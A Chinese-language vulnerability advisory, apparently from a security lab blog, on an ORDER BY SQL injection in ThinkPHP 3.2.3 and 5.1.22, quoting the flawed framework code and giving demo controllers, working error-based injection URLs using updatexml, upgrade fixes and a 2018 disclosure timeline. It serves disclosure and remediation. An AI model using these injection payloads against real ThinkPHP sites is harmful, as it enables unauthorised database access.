Galaxy Lab

focus on information security

ThinkPHP 3.X/5.X order by注入漏洞

作者:Looke

ThinkPHP是一个免费开源的,快速、简单的面向对象的轻量级PHP开发框架,创立于2006年初,遵循Apache2开源协议发布,是为了敏捷WEB应用开发和简化企业应用开发而诞生的。ThinkPHP从诞生以来一直秉承简洁实用的设计原则,在保持出色的性能和至简的代码的同时,也注重易用性。并且拥有众多的原创功能和特性,在社区团队的积极参与下,在易用性、扩展性和性能方面不断优化和改进,已经成长为国内最领先和最具影响力的WEB应用开发框架,众多的典型案例确保可以稳定用于商业以及门户级的开发。

漏洞原理

ThinkPHP在处理order by排序时,当排序参数可控且为关联数组(key-value)时,由于框架未对数组中key值作安全过滤处理,攻击者可利用key构造SQL语句进行注入,该漏洞影响ThinkPHP 3.2.3、5.1.22及以下版本。
ThinkPHP3.2.3漏洞代码(/Library/Think/Db/Driver.class.php):
/**
* order分析
* @access protected
* @param mixed $order
* @return string
*/
protected function parseOrder($order)
{
if (empty($order)) {
return ”;
}
$array = array();
if (is_array($order)) {
foreach ($order as $key => $val) {
if (is_numeric($key)) {
if (false === strpos($val, ‘(‘)) {
$array[] = $this->parseKey($val);
}
} else {
$sort = in_array(strtolower($val), array(‘asc’, ‘desc’)) ? ‘ ‘ . $val : ”;
$array[] = $this->parseKey($key) . $sort;
}
}
} elseif (‘[RAND]’ == $order) {
// 随机排序
$array[] = $this->parseRand();
} else {
foreach (explode(‘,’, $order) as $val) {
if (preg_match(‘/\s+(ASC|DESC)$/i’, rtrim($val), $match, PREG_OFFSET_CAPTURE)) {
$array[] = $this->parseKey(ltrim(substr($val, 0, $match[0][1]))) . ‘ ‘ . $match[1][0];
} elseif (false === strpos($val, ‘(‘)) {
$array[] = $this->parseKey($val);
}
}
}
$order = implode(‘,’, $array);
return !empty($order) ? ‘ ORDER BY ‘ . $order : ”;
}

ThinkPHP 5.1.22漏洞代码(framework/library/think/db/Query.php):
/**
* 指定排序 order(‘id’,’desc’) 或者 order([‘id’=>’desc’,’create_time’=>’desc’])
* @access public
* @param string|array $field 排序字段
* @param string $order 排序
* @return $this
*/
public function order($field, $order = null)
{
if (empty($field)) {
return $this;
} elseif ($field instanceof Expression) {
$this->options[‘order’][] = $field;
return $this;
}
if (is_string($field)) {
if (!empty($this->options[‘via’])) {
$field = $this->options[‘via’] . ‘.’ . $field;
}
if (strpos($field, ‘,’)) {
$field = array_map(‘trim’, explode(‘,’, $field));
} else {
$field = empty($order) ? $field : [$field => $order];
}
} elseif (!empty($this->options[‘via’])) {
foreach ($field as $key => $val) {
if (is_numeric($key)) {
$field[$key] = $this->options[‘via’] . ‘.’ . $val;
} else {
$field[$this->options[‘via’] . ‘.’ . $key] = $val;
unset($field[$key]);
}
}
}
if (!isset($this->options[‘order’])) {
$this->options[‘order’] = [];
}
if (is_array($field)) {
$this->options[‘order’] = array_merge($this->options[‘order’], $field);
} else {
$this->options[‘order’][] = $field;
}
return $this;
}
从上面漏洞代码可以看出,当$field参数为关联数组(key-value)时,key值拼接到返回值中,SQL语句最终绕过了框架安全过滤得以执行。

漏洞利用

ThinkPHP 3.2.3

漏洞demo

<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller{
public function index(){
$data=array();
$data[‘username’]=array(‘eq’,’admin’);
$order=I(‘get.order’);//使用标准的I函数进行安全过滤
$m=M(‘user’)->where($data)->order($order)->find();
dump($m);
}
}

访问如下URL即可进行漏洞利用:
http://127.0.0.1/ThinkPHP/?order[updatexml(1,concat(0x3a,user()),1)]=1
《ThinkPHP 3.X/5.X order by注入漏洞》

ThinkPHP 5.1.22

漏洞demo

<?php
namespace app\index\controller;
class Test
{
public function index()
{
$data=array();
$data[‘username’]=array(‘eq’,’admin’);
$order=input(‘get.order’);//使用input函数进行安全过滤
$m=db(‘user’)->where($data)->order($order)->find();
dump($m);
}
}
访问如下URL即可进行漏洞利用。
http://127.0.0.1/tp5/public/index/index/test/index?order[id`|updatexml(1,concat(0x3a,user()),1)%23]=1
《ThinkPHP 3.X/5.X order by注入漏洞》
动态调试可以发现,经框架处理后返回的SQL语句内容如下,继而带入SQL查询语句导致注入漏洞的产生。
《ThinkPHP 3.X/5.X order by注入漏洞》

漏洞修复

5.X版本升级到最新5.1.23版本
3.X版本升级到最新版本

漏洞时间线

2018.8.10 提交github issues
2018.8.16 官方确认漏洞,在下个版本改进
2018.8.23 发布的新版本5.1.23中修复了该漏洞
2018.8.28 3.2.3版本发布补丁修复该漏洞